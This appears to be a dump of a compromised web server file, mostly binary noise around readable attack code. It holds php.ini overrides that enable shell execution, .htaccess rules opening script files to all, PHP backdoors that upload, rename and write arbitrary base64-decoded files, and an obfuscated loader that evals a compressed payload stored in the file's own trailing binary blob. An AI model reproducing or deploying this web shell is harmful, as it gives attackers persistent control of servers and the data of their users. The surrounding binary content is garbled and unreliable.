ri_gbmO04%ƊC.)wАsv=`B'W6F/yhW_\rBopD85jΞG Ps	`*/i{q@BJi`.b]8(61(ctU?Xjѿg5؁Y2]yXQpci|R~^`bScŔB*]0f`h_MiEM6ゅ	#|U,7n@Áe1cCQ7W٠pTmt~[=~|2 -r˘_
8 ,UMXH#Fb*_Y]}"lo|xAX͐fQ?%'ӽϪ`fZXln	
zotyjdhnmfc&5yHKh5ȏf?=fTS6:UAUX"`طIc
.\"' |zotyjdhnmfu1w|d6kemxpayfjq̭zotyjdhnmfM\zotyjdhnmfia%"NϿ31)8MV$FXBN 3/9Ff:gHsξ-jO+[Mx~#Lw)58)AֳUyi9dl+˕`S$1O29y4
:VZgk-\V
M{yr&En௛@IL=WPv!?savLO~7gL
H?	ijU2N/+k|Glͳ*c0KE
;nA*`6	LGgj**tF ޤ\Nkkemxpayfjqlۋ:{#Sk}7í0-ϼLJh{قܛ{aГetVL0Z^V
uå@Nbk˔m8ZҏN	!_rgCn7}|Ѭv\wckemxpayfjqNPD
m!BQߝdB\^@rkq |[b^#}30cpJ%VxpK|	uj1viEz`Mzh̿('Y{q*]$Y&MY%zd9[fPS+ j@3yNsGMwkyjϏ%EVc{I
j=[OR[$|e
_7jPnh]jԎ@ ߖ:΂8YVT{2BwC,^@zotyjdhnmf^w]*ܡ./KP@u+zotyjdhnmfR+Y1[=sC;q Vmoۘq췤頮i3`ؗ
9L}Fb4{=9F:ۥ:Fm
w᪹ӑbPay At\|k~?9Em-aJɳ岺q9- ByRlGD`O6vH+e @qCΜ	zotyjdhnmfގݻ*-+f
SN6qW-tn՝]V)&ﭙ&q˯Lލ"fsD}qLV@?C$_BtdASKGVڑ@+yzr	kX&ױwT_Te* iS}WFSX9.+	d˲%Fr*k$wշoQ$YT	AY9\Cb_(W(B$rbS9xcftAkemxpayfjq*GT?U=zl!Ío82$I}?ssJoDm:IVDH%veI\?'[l2\lE8y~DJ[|G	֘5\ړsL6q
0;F!A:h"6J_Nig7kĄ?F7`Dʠ^
Z'/qBgBczotyjdhnmf	
H_C]m#VNQjNWr2ϝlZiNNxQyѓr
5oL0K[|sxii:f*sTʛ,VgiߍE8=|.#FO#"^!GH}ݞJĕlëA"a@mO@VBB-:Hl?#ąRqґUNat-NozotyjdhnmfR/Ai~Wn*b6CH]ەfsF6e!Sqs4ܻGf(ILv W$\GкO: ?@+Ft7&y#y".&.K1ҍ1hzotyjdhnmf?
 Gdw/Cۤ	IH$zotyjdhnmf}kemxpayfjq'
^lj0&a'T؀O;*D0v+ Dg%{;VOssń6+R&! *Mr@"+zotyjdhnmf4RUÀ H3ֵե}_,kemxpayfjqR_+STxB
ÃذT{V#?9W+I!PP+R-x2a7l7|HA8Lz-knPf@yoeI	NY|3 }J8Jheͱ9nB\ցkemxpayfjq.gx/Yx-1;5Lۀz2@[Sǭ;~z1:%:1EEAz.R@Tda0Zw:Vr.L@ntVi?xjcm&akemxpayfjqVnxPiʰz?j[&jV
0vXZ"'Ԧ_V]dQ@]A'޶/1T5Rkemxpayfjq ?\
GBo'r֑/̊rԜr4KpXBM#)Gݫof̚{|,%tk&y}#[mM46qlzotyjdhnmf0}B!.E+]}I'~MndB[,g75ޙYﾾ\+h5.;eڑ?J?dRL5,1uU?gExz$PYN&;!sC6{1}@c}DߞѵwїUoL)#?Yi;א
̜laYeŖzotyjdhnmfhH,WuH=dUaX{J~CYmyqkemxpayfjqZh$I(dU}Vb`A҃j@_nfKpvßu"s"_G.*zotyjdhnmf
1C'ŤP_;/K@0B(`PSK4kemxpayfjqCmo豬PJ+u'/4%zotyjdhnmfȎAv#o.Tg
~?4?y zotyjdhnmf
ˬOy1IY~ȝ
aƻ9g ^)
'Tkemxpayfjq2WGGad҃2C"y-;kkΈȳ}fxVZ-|[SWBVg_TSbMѲM{t~	b6+
\ kemxpayfjqu,zotyjdhnmf.rG4q#Eu#NhtO-YЮR_ǇW0;yy6 Pboz
A)ٰ,D3!8m:+̇y`3qaC t%6JIK2ڀZ4ז`ta-Z6dX|R yN]RS%kkemxpayfjqG2*cj򴭞G$V"hoALHzotyjdhnmfxeeD4VkVv
FQ(KÌ)'}$mCQzotyjdhnmft\4ؑLS媒L2bkemxpayfjqi^KBtnϏ]9A?kemxpayfjqAݍN(|,gHwW@j	PyRSl!"Ӷ%SJsypDs]=wRF^nŵlkemxpayfjqAhKlw42Hs_;+)Jd$DKZͼbtI@Z)y~m"QB٭v|^%[uk\]M:ϹAic7q!G7$\Ͼ!LR휕{q%ZAǜxʻp:A(؉alFlMiqE3Yk1~5y!]{\Bg`ĹGYB
i/c
[fbx/#f;by#5/ZT#ZaU]ۻp;CT.ƟDXK+29  @-i˫mV	=9kr368CAEcV٧V=ooh20^=lg@X?ІMgڴ@6BY o5Ik4ݽw
`Ti,0!zz-qkemxpayfjqi`h#C Wzotyjdhnmf/+MWpՂ8s#ېO RKQL2	و889=o; +qUrgAÍdk1vuA&)0^'&hS_QVϬ2?"`TdgB2Od_ ]^kemxpayfjqJ-Ro$kemxpayfjqAf jrI}t}[%uikemxpayfjqb-݌VY2͐y!uW۬?%'^0Jj`O&	-z`Y85
3-`t5W"/ߨ6Kq	vK|2i4ڂ1Q_1% G?Z(@݂%GZ!زO%@,n	#ً2
ipdJzotyjdhnmf?"ܟn5iQ_-)piJTv&P0nO(=.2F%@Tu86: +@"`
3
pXZ6;0qIi_~δuUJQ?/X&D)L L wQ*HKZ	M:(WhzsCsy۶^^Q9τ8I^MީZ~*T̥
:|HozK'T!9T;UrO\wYXv=
yᰎtDv63Sbb#=a?U1iڈ]Crp(&Δv:@H|@:(s_rw=;Hޑol A嫁뗳Aư3PƠ&FŠnzI~zotyjdhnmfOʫC'֕:y zotyjdhnmf(BO~7?{"fy]촿b`泳i.;f/veKZ̽9MŃ'j)."N@~.)!.|BGMdᎼ
HF_.CC@j|DRԨ$6R/,rEܣ6 yu~Z5
Zw\9zdxNZj@ӶCAј(oky'P{zotyjdhnmfs5_9r-Y/himzotyjdhnmfK1`DDy9W3?7yh/ު׉TOS[L+ޱ_u!`'m4#h-3Giȿ
&r癳{H; ݒYE\)"SevI;v.֐jGa ~CY]#86gzotyjdhnmf~ja		1:
Ø]= rϤ 3aL?-Uhkemxpayfjq V5PëCￕ@FoK~-yQKG8%dQn^9b2
"䂫:w
5nCFɅUԩ!ȪJ1SG[&vCae)oǐ;!P̗Z^eOYqL_ϫ2Я|ĵAX|?=NLx,0xKz;fHFzotyjdhnmf@pCѠsO^8
G`XmKpK􃮬[=R[ع}\ ;LZPEA*^Kɒ6\KtUcWЧ٤0fYoMďz{ Z8%LWG`BgkUzotyjdhnmf;C24C49Un}/RBn+BLzWmwq;SNtC-
V/\ǯV\;͊v d_cX%s@=P?gڏJI|w eWN6zam8b{[pV}砧RzotyjdhnmfP2~
r;
C`V!I_SWT[vTme:z-ka?xoX]\(y7RSI8^@`ۇ/cv'YkS}pzotyjdhnmf#+
?F^Pw.XqQ.ׁ?*"hCDx9`$'X@AVٸ~Ըk"RNHMnzotyjdhnmfJ%-q!ڜxl&*!a%EfIK5ܚ=\"o6=ƾOK3eu6;(`7ȢTO9mFG)|&a"g'YВ{fmJ9^ҵ7aۢ=4tܷ.v9jq]yrٸOIU~X~i{1kemxpayfjq_fCmd!V[*Pkj`Ai9nv2n^_U
IA _U	/Ybkemxpayfjq"їxM\dުߔZ
px4\SFAW`0n9Ek;DgmK~kemxpayfjq⪂1@rSk9R-=l
Jh$ΌLbPFqR3,i`l֐zotyjdhnmf 8.Uu3ǱV4i152#Ę(Ӈr)Ga,zotyjdhnmf1pպ})
RTzf-k!5
m,LퟖŰ97f:%zV:
ZC'Ϗii$xC_ \?FzotyjdhnmfD')C8vJu}=P6cf[;#
h{ZJ,ҁIq`}`"
Zo^'͹pA #32V	8*ƲVT" 6GMxJ{~P55|Dݢj+#zotyjdhnmfGhxL@g^R⋊lBT)|%l/8X.4-Я?E*ct7|^ 4K=/5n0̦k#u#{t=Խo48.1V6,@Q}/b-/K` BL	&e2zT|*y*I%dML Zv{34M/x0¯a0@?ۤKԺ/'FJ
x*ptt)P[-.wq)zotyjdhnmfURT\Kf,h+=aϴ!ΐ!v_
C{1棏͕mH	%s/,$86+^jn[z'VWڲ;79Wf7v,Pzotyjdhnmf[I*Syv:U᱔FM~Vqn+QdHeHIczotyjdhnmfQO.Tzotyjdhnmfn+, htϸ̹hߟ_݈iءIWBfÜ4okemxpayfjqk̍y kz|s\ټPkc8S{F^#A&~yL%9*,0G	R.ȯyL*NgZ%f9"Af+	M
$%&cϓ+\mQKSOZF,2zotyjdhnmf gkv={)8uȴ;lV;OڢMb ,|ܛh[n7S#aV6TYSނTp{LOIOXgz5C5t,,Yk/4f$Upv"z;SHxTr\xQ26Qg&J5bR;y?MR5WkTXo[=t^h6A2@Cv
mjgSBt-K	"̏{(ց!0.zotyjdhnmfu\,~m'RÏ 
(Z
i
%ji1JBBWՏrmyh/p(~0;%RV~Ɏm3I
_ZU[2[LG[ĬtWtEq9f\""d&ޑz"e)Z4uG'*Bh4G!tjP~4gd놊a张kemxpayfjq}Ki-,Kƃ
зk
{2@d$;(%ڱp$3kj]SiaG,+ѷN+vSU_[7/78M{kemxpayfjq"g[e'4*4=d-ɤj^`b;Z'6pKrٖu]N6j$9kY
FҎ^~0 &F8"61+'uJ+Gn?y(Մv{:|R]{yCjM8'[5@EY٘Y~\UX}ƇȝE ,[QHRVbDbY~_p0^g\L&ߧ\ߠo"('~ttZ(OۉWRyp%Ž+/NMS}Tƣ1zotyjdhnmfNAEBkemxpayfjq`Qy&j&r/
vt:'g#:@{[zotyjdhnmf6Xx	GoW`|PҘ~_[tlx"kemxpayfjqâs#C~5; v'_]QWU_	^4Dߙ5"~St/V`&
^9_sewEsO	2f{5raOA0ΊCa9kemxpayfjqTh	d?Sq2C~{K
xUGEpƂCC$Z\(]axf86ƛ4	J[=[(01OEaGkemxpayfjq-5+tMX[E+K2n?i8kemxpayfjq
qEy$x詐zotyjdhnmfB֊bd.yzqhqzotyjdhnmfb0S;#Ƃ}r)%zREUvwcjėG]+)D+{ξebŢ϶RPB-?C
q*qA[XLbtS~d첌L؊@*9AXݳkemxpayfjqezotyjdhnmf.Qzotyjdhnmfzotyjdhnmf޸.ZcA%kemxpayfjq(m
ԓu\ahkemxpayfjqq߆|;p^am'e%Ț
1
Į2|r?oW-
il{HY*/+7՚?-	9P3CLp슲{v
2XX)m\p[x}ь7^0`m4 yMp,y]l\+&-p+hE[-T}
3QYO40=Rs	)1q+[Ky6^P$kJ򭽬#O/+M6sٷr`;+ꐾ.&SPG2 2
3=W}bHPU
5ᦽ"R_}P}258W/@*eDwdȍx*aãD~9gq	'\L\H/+ԕ]9Uۮ]Q(hT?0Ե`kkemxpayfjq'3=7&PKgfU9!U6augoszotyjdhnmf~ADP=d=AC63safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'a'.'se64'.'_de'.'code'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>



Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$vFCa='gzu'.'ncompress';$KpIs='ex'.'it';$tNsH='fi'.'le_get'.'_co'.'ntents';$BmsI='st'.'r'.'_re'.'plac'.'e';$QrHc='sub'.'s'.'tr';eval($vFCa($BmsI('sjfoxtdwkq','>',$BmsI('mpeutcnjix','<',$QrHc($tNsH( __FILE__ ),-172413)))));$KpIs(0);
?>
xDŮܶn*J{q*ͤS0#3sjfoxtdwkq=2Wampeutcnjix{zkSX[H_mRߎך|?#,s}9MP="_?OKôV,˸RL5yQ?WW?SgOkg-?OӏտOgn˛u}QIؿgF_mն:.5 
*MHeL-/k	G1`i	rʍMdŉɼi1v4h=*Uh#뾙~toF'Q2VھdКt{@SDZɳ_{GìT:V/#Â2'5t.1k'hh)}))ZnE}l(`FG?NW&)V{{
ɠisjfoxtdwkqBM1C퐠TQBCfm2*T
A^ZYd	E@/̎TJ)5̽xuZ3q=|@$aZF;^sjfoxtdwkqs"=GTAPap3rȵ0t%h A+t%|_8MHm\	q~~tZ$n#ϔYcݟ;KֺMj]Ǫ(wPU

+^8f%iSA
eHH\5Fr|hJϫsjfoxtdwkqk
B(}nƐ\Nt#zxR=$^Ui[vς*9d0{FCO=q\,_sjfoxtdwkq/oݵ
9qӂT(k
vOO)]n/h,g1&?2O3Y25Xv
γm*}G̰mpeutcnjixlܲR	ISXMԇ*2)KĶsjfoxtdwkq ;E\S9WԔ!d!buH]Bɘ\!A_[;U6SgxZeYC#v&K󕭾3
4{p}KK.e7WW37GR6]_jv8~^DXMtP0s )oWfG0ꏣI1Bd?#t
~HwE`Rap$eFJԡr	bDdPnefΏFw^VײAzPF齾2&GF倊fq8Q6XrjG!	
xLF~!Ų$ΥhL~ۢ&L]qgnoBwW)ԴG1oWzi5ã;DmԞ N(mpeutcnjix2!HЎbDsjfoxtdwkq/wZVt\tSXdW286GҺ}'i.9QT{f׊&XTB)r:bs5
O?@'`wh-wsjfoxtdwkq$&y}sjfoxtdwkqѪvy8K~R,t"CbV:lٻn
CѺMsG޴[Ǿkx
w]H?
&"v{ޑFTc'jX|@]o 7zjcz[S^;|!"sjfoxtdwkqVY 
K:a4vZ³Fޭ]]|RSsM!"iix7QA3 eB(MX5.bp!l/JEt%.=]ήdLcA6J
T;3 ]szD\1ٙO/DsjfoxtdwkqKލd=_/58zpU*xF*osjfoxtdwkqS~r58QgMwF=Qz{'kr6LBUhLv_]G|MS{X1wvubryy~?T,iǘFt[?;h=۞\XW}dG]&LPsjfoxtdwkqp&||ҕ7	@9EedI^SDY}G`=Dڳ(WCZaBHmU+sUl:ôsTşfx'~x4)IHLlϏOJ 4p}e
eO-#df|茋w8:bȀD80fE ]mpeutcnjix;w'vmsXXۜk.aiD*LsB
b$mpeutcnjixI.lNK)к; 3,]NSHtp}g))RӦy
Db:¡DqiLZyx̯6k-wrp4s|-A@͌S6i8o4euO1DdBy&3Ù:Z; 5V\ƃuޔb2yY yc8sjfoxtdwkqMqPsנXUnoZWCXŕP
`C\̬cb}
2
HFbzhw޶6G']{*}I)Iy4J2_vbtD2Z[pzx%k\,vۋw~Q4Qؙ|2!p$;sjfoxtdwkqѐ׀ryxBG%2M
6ޘ	g׌Gol]A/dP~$Ytv4j9Mnbn:dl5_H'_vc=2.mgX',U)
$%f@R-B#GiDE.6[7IdiaZʒzM-G'uU{y*VI˾++;-rYUmpeutcnjixH&SgP͐DmpeutcnjixR})h&+:n
8ґIviF,l- &lWCA2kui#nr̐v;o7$NaLt0
H}Sn挰gfZc]̥TKJ(Sڈh[%ؗ+=hV!ǫց'nA] βU+ˡ
3
54$KxRT~W+\mb4oLXj}I+|=c~NLxSyܲh7i-56S{/?n)yh沏OCwrӸMՏ Ѭ(.k"HW^MY]1ib~CxTm狍3k'mpeutcnjixc5pK)A1x
V|rors'sjfoxtdwkqREL[}AyQArW`234pHĥ1 6{;b6)z},[`bظ7bOf*ɋYNmpeutcnjix?/&|ftvzz~_ZmpeutcnjixyϦT=RkJUy!k2Ȑ2"mCdA/f}PRϟmCk1%-ߴrd)ۈkJ8XwNb61ao
v
7UZv
Y(d9r\sxÊ
@tyTsjfoxtdwkq,SqD[r?W#I_sjfoxtdwkq,-ef
;-âȍiwߩ'NZyz"sX؄{$mpeutcnjix,js$qi
?P̷mpeutcnjix Aq{En.$X
ۍOH~U{5]4HoN?2yy$.
(b&XIfbh!j)${Gj"4ڹ'5$phnK?&1;ǚ?dvʋ'\Y/U_ζ'c&0_#Q&⸟55Jʿ)+4NAsd]?\TRY4&Ar,hhC	ns`|
1҉"ec41KQb"Ɇ*=H{6;|5@l32^7;*P	@~XiB(lQM3Kg]w=}_bnZ@NAy9N;Rd
	C['J\81MhÄ56,^Y#ed(rsjfoxtdwkq\d1bO@J]&^8`Ŧ|̟
lxnKtkKY!HfdRo3R
a7sjfoxtdwkqj5%o7kD%62}
9 DKXOS^/r"Ι@ln8Ɠf,$_`q$Z0:v#GxV"~㽞!\COnS7svRACF{%mRajwϴ]q08?J6LQ(tG.l U"QlCZW~zV/&S-%뮄{7S!LyOIv#weon3%HG-bjr&$*&:Hp,Y{rTS[fUpkYg-{sjfoxtdwkq#=&:n0ǪLBS0µ(zlZ5GNo|Ǎ׬J\09L4=R6=SLR:uP7  Mnݪ~ޓ$_ZR!
o-숇Hӥ*[-J+FkcvDY(5*5t*DOc?T?ympeutcnjix ؐLVmpeutcnjix٠wi+"sjfoxtdwkq&Āgu?GYAOsz
$6tƧyC&'rQ؂hΞX0[
j-c[Oi~¯x	М[VNZX
hOj=W5/JNᄟ.;$~BYJQILޅ;u+H3uyp4f̋NJf:m1A`"H~~=xImK|4
'@.mSnsjfoxtdwkq_b(a%P2RyY1۫J?kX"ٹ:vz3%)a]mpeutcnjix$s*	R$nspWG?6Rg|πfܛ% @pל̾gvX(]а;f\Օ3tsFrVFfzBiquteKnbKl80}.u.sjfoxtdwkq!c
SZyN(C@,ݬ0LHA;!4*Ae)|Y?RUW\L	(ۦk"s/32{Fڻbmpeutcnjix&-Ҭ|
c=mpeutcnjixR}0I:Y9q
eJ_GZH9Nh~xR^3BBfsjfoxtdwkq9pdAO{3rmpeutcnjixg\{ҿ pr9V-z	iCF
Y䲙^ȡuuWF0	mFo(yکH'_=)
Ho[xtcr04ߊt
۹n77Wb	I{*[}GwqfFx26=e4{#ߚs8;6վO6E|15]N $.^аh"3]Yw1
)1wF)Q?8	1ư K+yii+2ՇK~?慎2v27,\gq6rdA\,s{I5zɤ7
)/៙=~jfT?GZF'QgeBN.NZ\mpeutcnjix!@mpeutcnjix}L'4KBmpeutcnjixP/NKۜ$\;Yer/pS&ƁZ]D)sjfoxtdwkq\Mgj\[Mm?{AX^Ao}vౠlWF(sjfoxtdwkqTҙAR |1mpeutcnjix"t4ԙ2/80sSI=o
'0ẍUwzDIC&! $sjfoxtdwkqj*勻xCQa$Pm-IQ=3sjfoxtdwkq4^=RKHIǷD!rTf âLD*AK8~ciM	0wIn\6.NZcDsjfoxtdwkqX|?(Xy-h('e5`fvKaiD 
NyS5`Q|4^YTkŎЁ[.Yt	qWVeI$`bn"0]되u0Ab,4k-1QAa=21V)-iCߤqek؏aUhYnR
o*նAXgvfy8YQp2.&sjfoxtdwkqdᎃPT1vIXqm޵iZU
q!Ab{}"l[sjfoxtdwkqK(ˀ~ȯ+«K*؃Jrԋe-VU{b5N%ty$\sjfoxtdwkq۳^ =1_z{tvsjfoxtdwkqsjfoxtdwkqܫ;{	7Mc'"8=8cW"ќjlRFՂMD]`\+fsZPI;kRH+V)(9FhwJӲ0_[3Thp-.?#ਹo[UWmpeutcnjixLaRVʚMC{FcApS\BmU1A&bEUO=hznA,	0Y,IbRn-td]9.Pǘs*FĚGDv^|X:6.Blw'Q&^px t8i;`
fƁgEǁTXI	OہC%S9ɦi1|;uȢZCK@qsjfoxtdwkq;4j; -GBxX
B`(F^;aX%LVwqɝ78]Ѳm. Bb(+%15FSV m!ڛu|o]`-XaQ)@GkmpeutcnjixNȷ?9s8qU\Qt˸.#,a{De~)~oӸfSPfoѳ6
fw	7ԭ1&;!'W*T$OQGo[p󽕠=F!U5Z_Qb˔nXSsjfoxtdwkq yVmpeutcnjixeax4F?t=
ٌ	]եoڂJO̍t!TJ2'V3$Y3Ǆ=bfutle'"*/,?ܛ	Bg&Rxѵ
LꢭY9ߛY9	I]-{WV+EJmpeutcnjixQh;i| V*3sjfoxtdwkqVsCÎԍ|δ#ì +j7r0h94`Z	h_/g۽N_;/O3#-q_nYE"&Roa
qL@X)|78:QY'eF˶v¯qI2
.еs
 ;(#OyobT,lP⸽!.¥ّDTm$CHʝ#2g4VDcVymƕ?csjfoxtdwkqe~;;?3),tc.zTF ,çCfo1˪,ש Ԥ2~/L\5_uk^\
[/,_PM5k{zBJѾ"n8"w{^35yMd
փ9,6YsjfoxtdwkqaQħA!@]vbEыXNX(6\`rE
^|kU?um7Q/RR@w&ikJHAuUϋߑ,*V}0oUi%p33}';g𶔴[BR3:'mpeutcnjixu4~g-ġH924=$vxjom̻SWn],J8+me~52nzA
8WÛ6]pui =[`spw_FuVӘ1
UΫb8NFӎmpeutcnjix*isPط_EgՐC-7Krl[
du1$ro̦[*.#S~tSJ;sjfoxtdwkqb^ 8C:GR,q!t1Xc#F:=mnr$^~M/P =F(١mٸ m{&բZj5ocKקv?y3[:dm&qΆW^^"Q䟯sAkq&Tf! D6E.	V+ØHWǘy9L`mrAdsjfoxtdwkqsjfoxtdwkq/2
\`l8?krҹ z5+a_&;zo{3@MyY65BIJ
8rǛ@7Qaphsm|"x	41jsjfoxtdwkqd]s3e+Q_1|S9fz\E̸
VV H=2i(7N[, g=sqGOmpeutcnjix0= )_mwD/7З
(;}!OB:EQ(ݯG1(#b `;@ .dsjfoxtdwkqh]߇CSK`[#4΀wyr{ݳTfW/
*qO 9RsԺFⲩf귖z@39~)ٹrwsjfoxtdwkqQjZ^9s~dmHf3 F%^"fM즗w91A=b+C ζ0mlg9DQn'V5f/\7)?"u6pyJM*"5[dpK	,*v#mpeutcnjixZ	N]b4\m䊵Iw0h$=4t*;K^$V0?bm֔'!E.!)q'5ࠗ&|Cz0-;z8/Y}Cu(?+M7+ҭ@X 4OJ,X,]P}wz*2p(WQF}9)S)\	"\ZC+ی+)kr/xyR z8tu![]w\xu#ߥ"h\EߞbnWҖәvNkԱ6$Jءb[FQ$/U/"h̽2Lmܙ `m)+0"WW]fvSOB3q ֻqMRSN!2%-p3+#};'rA-!]Vwrm.&j|noQ|G_Pl,NeV3NxI69X6]r@67TEe!NMV߬qIu8NuÝ`74msjfoxtdwkqѪn}3y6S\sNJZq}7'[n@3
^=+[3&
x҈3O"գ4HmLז/zk֥1s
J?ݦwFlEUWJ isM*Msjfoxtdwkqb)87{)Hk\[ RҢx8,JD$ܳ5mǡƛ]LGc+k;/*OH%	,3~sBtU}aY
J_7&[Ԝan,uBb廾k8L[,h1Li1D7~	Wd83l8-~ΔOe#hB	5ZV~7N- onW3"kDxPw(L@*F%,ԛ涠6(&3WCj,m"ȌS3R\j@OB`K^3-}FKlS굄hV_Ѻvy@MߕjaB+-Fnadó./|gX΀_A5'H	n֪J1_lKbHJ,"nfL˩%3ES3Qsjfoxtdwkqۈ 盞HlIڀfbhq=qmpeutcnjixlwLZc
RF,і$
5HDRM,fn6@l鋟/6E`Or7hy. |BkN'=~m(^"0qBݩ@,-]g⒴0=zfƣs}FPZ-7QKvqFcQ=1M:&^ fs!{p?BDWX84K sjfoxtdwkqIX:
޾k8B
1?^&(Np!@$XSmpeutcnjixWĉceS(VHitoz,*p|amQc?)s2`]W/dl;*;nmpeutcnjixJjwm87$8%'&2smͺ\sjfoxtdwkqNg {Dy0V}[ ]ǯ:wiTj&,sjfoxtdwkqj/?R$AYsjfoxtdwkqgՇR'$F#ibF?uRεM z51H cH'ډ&0tԙcd/K z'x/2/D@tZ'Aq;3C5/wt~iz#mpeutcnjix
EED~oUlnK@AJoyxG"Xob4DYt_1pGd̏Lz #'z3o不2z3.Z,VF+i+~ғ3ìN~/ߙC85)u'FL/+]=豹HsP5P:ٛ2Z9!(9h
6X_k1Zyw3Z eWHYeBG|L澤v+Nêsw	ha34q sjfoxtdwkq`M'=)~ŏ=&einn (:1vcVht5mpeutcnjix9cY}co簪QSrTO܌mpeutcnjixhy7rbѦ#15sjfoxtdwkq۩k
h䠲sjfoxtdwkqb}gBjB-2Abi"Mv˭8$Ё$V*C%N?μ-Io"fgsi\Eb5#o=1D;ݕٖ'+SHh1?Sv.2r|~zv7/='8Nctkł
+]Uzbr1,Eh$6NO/^zA)N׸LAJPuatHl3hzB!p~試5i2%Pid)M`ʩa4?)sܠ4PJ;j9AtϴlIqLQrnPʤr.?q)l~]JsjfoxtdwkqL1)3ܐX %_{甭Upm9*UE6n*[p7`E3:ɔӼU.B8ef\ރݦѲuIկgU-s &1H$T9{R_IImqKK[_GTsjfoxtdwkq\N7*b_r6QI)LW`D7אjR.33SvqD(djsjfoxtdwkqc3;&3Vve"R{ܼƅz jB@:1a݇bM9y[']0mr idaXfbU +Ĉ5P%[),93"?ˎލ" A`YI:xvD?[?`jd,0$-,-]zlz7m9SutB_Y '6Fr9@k3pCR8u8ϊI`Z6O3;7^uN顿OQKÀ9,q"O7+!c
nKTa${ت*'wV~LFw_&ı7f=an!h\IEɲ_WԷxb 923ϟ.b|80Ri3sjfoxtdwkqɂgo7ꦘsǌICS4A#v2_%ܴq=d4*"ng8
w?ڐwhx2^=@Z

dym-+sIQϪ#!*Sԭ5.jr2ܓ
bx@t{V6T&( /\dW0Ԥsjfoxtdwkqp;]yʵօM,ɽsjfoxtdwkqh
hJfJȂD͈4ƚyr('UsX{Б~F--18?	̑u1fS%0.v"71eW fmpeutcnjix؁ ѳg3⤤#$":z%Zc#ػ/I}Q.y&;VFܼy_Y~z$e	{U?W91YSrQOZ#߆sjfoxtdwkqͲ]+
aDJ\軔p*qEoZy !DdFV#o57K'X2f+YU&df7cmpeutcnjixbF\]C]QJ0oW#UDcSowsjfoxtdwkqD4f,xÞ;ߟ9ݝZJ匒v)mpeutcnjixM;ѰtSC[NeT&Nsjfoxtdwkqo^agGFg)La5=zDur᪖Y	Dn:mpeutcnjix!VTp	:D %DL9ۙWhD)_FW'k')"	 _L$%e3\w2R)2Ni0,oTWgywiDw|[sjfoxtdwkqmpeutcnjixꗔ@4"ф;%+^m6UZePv*U|ſi#`]Yp
I	k?r?/],9ǯ$Lj\p,$mpeutcnjixBRHxSԆķW"m1β݀ǴTNwb\KsjfoxtdwkqczJN'oMS Zd(K\|TG?t`*6:x16־ڼd)!*?ө)+jpSdC DEhi[r//"
38*	zSh4G
of~cX `NZ$u*?q3&p:((:N3@+[;}$hEB+5/6KLՁ?o)Gf|sjfoxtdwkqYp1U3]񎝟pSsjfoxtdwkqY4e0hF=^uv[N~\Amtޙv	.|QbL!vJlc}w,$n:(!Z	gVh/@F닜gXcS-tJ4d?7t%ˋuWa68	?:[|K!)J(B3/Wn!ͲCQZ[Bkl/Et@6چ#zS0ٷ[r(VdC;2P(DV/ҿ
deY{qKۢkE?
Zs g,DHIhӐk|Lߤ@M]5r/K^QlO$}U:Ѯ[
]zy eDEff(| c{3f&toV#WZQ*HQtٻڐ^s!
վ
`-m(0{e%۽޸U[P*0`15	xPh0/հܒ.ssKѺq{IS?k|Bʙ+%3T 
d?ImnM,eqz{	yD3
(rrY+X _ȯUV4%PHp8G|I^(٘p%w|L,=HFx_zYx4!I
PD5_qA҃0PU,x[̎O%2N1Մ- Y8c'z  'mpeutcnjix%:?-zCAG.SmkM\'Ws#GzYWO'k7TZ~˄ Q4#dw$lw=[sjfoxtdwkq2y~fnevkHŚ@sjfoxtdwkqD4T,fX{#ar,u'XN{r?$sGunPt?9f5«%dbguQ)E9LِsMoc~2"z1d
ͨ=m^(iZ KOͽmf:y|t,R];$}l8DdWѐct c{b 7i5|f^'"-%	\R=M9vϮR4x#Pa}mpeutcnjix7|vLWosjfoxtdwkqgeB:z iRjWdgHD)VE'x_gP1!WR@n`i}U3ZcDhAk9Hwt⛜OAuVHr2eT/(6]kB̙?ގVrs/}oo'j?EsjfoxtdwkqyqېLV}Ѭ+b3?{&nmpeutcnjixǍRovS+\X,?lK5sjfoxtdwkqܪ队n
Zi&`\}|D}mI~?½J^Բ
v1CMsjfoxtdwkq~jJ+	X/Q!f+~3EmpeutcnjixVd!G&F*}D};GE3}mpeutcnjixcOЭEB]NІv}.2I씹".lɹ4fsjfoxtdwkq]XbYezr]MЃߘ:1/twn5Lfyz3mDCDBnFl塭̗%:,Z=SvA毀gi!qCzucb		x\edW),pQWދ0E|=mpeutcnjix*,qemf[4A]q+[:mpeutcnjix\\"DƑA$bu7Qx2 ~3Y@79XGrvQeЖ\jR-HA3aMVZq[鉋:Sf}q#,q;bp+y&2YkWG(㍞e#,иD큆1V_N[vO&J$ƈQva]ڸUD"ZE!]˩h]8Wmb ղ|~ Ж~i`fءRi	q0b!NO?5ݖ
dX+[&rmr2Nrzı^W9sjfoxtdwkq  vgpESS_K
X6]F5EMx1}eE΀Ásjfoxtdwkq `2sK{p|%Ofa1@}-
[0x"RSUΦ8T)aȀk~mpeutcnjixg'ط8G+_7˱Q
یd`D]wwzR2dБogѠ/deԧ\
sjfoxtdwkq|5h,5ᑶZ°FsjfoxtdwkqHmJ*칗^`@y{KqA4f+
